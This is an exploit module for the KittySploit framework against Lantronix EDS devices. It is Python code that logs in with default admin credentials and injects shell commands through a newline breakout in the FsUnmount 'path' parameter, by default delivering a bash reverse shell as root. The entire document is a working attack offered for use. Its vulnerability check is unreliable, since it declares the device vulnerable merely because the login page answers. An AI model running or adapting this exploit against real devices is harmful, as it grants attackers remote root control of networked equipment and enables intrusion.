Lantronix EDS FsUnmount command injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Lantronix EDS FsUnmount path parameter command injection."""

from __future__ import annotations

import re
from urllib.parse import urlencode

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Lantronix EDS FsUnmount command injection",
        "description": (
            "Authenticated POST /FsUnmount with newline/breakout in path "
            "reaches ltrx_usb_umount → /bin/sh -c (root)."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["lantronix", "rce", "injection"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/lantronix_fsunmount_cmd_injection_detect"],
            },
        },
    }

    port = OptPort(80, "Device HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)
    username = OptString("admin", "Web login username", required=True)
    password = OptString("admin", "Web login password", required=True)

    @staticmethod
    def _inject_path(cmd: str) -> str:
        # Newline breaks single-quoted arg; # comments trailing quote fragment.
        return f"x'\n{cmd} #"

    def _login(self) -> bool:
        resp = self.http_request(
            "POST",
            "/login",
            data=urlencode({"username": self.username, "password": self.password}),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        return bool(resp and int(resp.status_code or 0) in (200, 302, 303))

    def execute(self, cmd: str) -> str:
        if not self._login():
            return "login failed"
        path_val = self._inject_path(cmd)
        resp = self.http_request(
            "POST",
            "/FsUnmount",
            data=urlencode({"dir": "foo", "path": path_val}),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        if not resp:
            return "FsUnmount request failed"
        return (
            f"HTTP {resp.status_code}\npath={path_val!r}\n"
            f"{(resp.text or '')[:2000]}\n(blind — avoid > ; | in cmd if validator rejects)"
        )

    def check(self):
        resp = self.http_request("GET", "/login", session=True)
        if resp and int(resp.status_code or 0) < 500:
            return {
                "vulnerable": True,
                "reason": "Lantronix web UI reachable",
                "confidence": "low",
            }
        return {"vulnerable": False, "reason": "HTTP login not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("POST /FsUnmount injection")
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
        return True if blind else True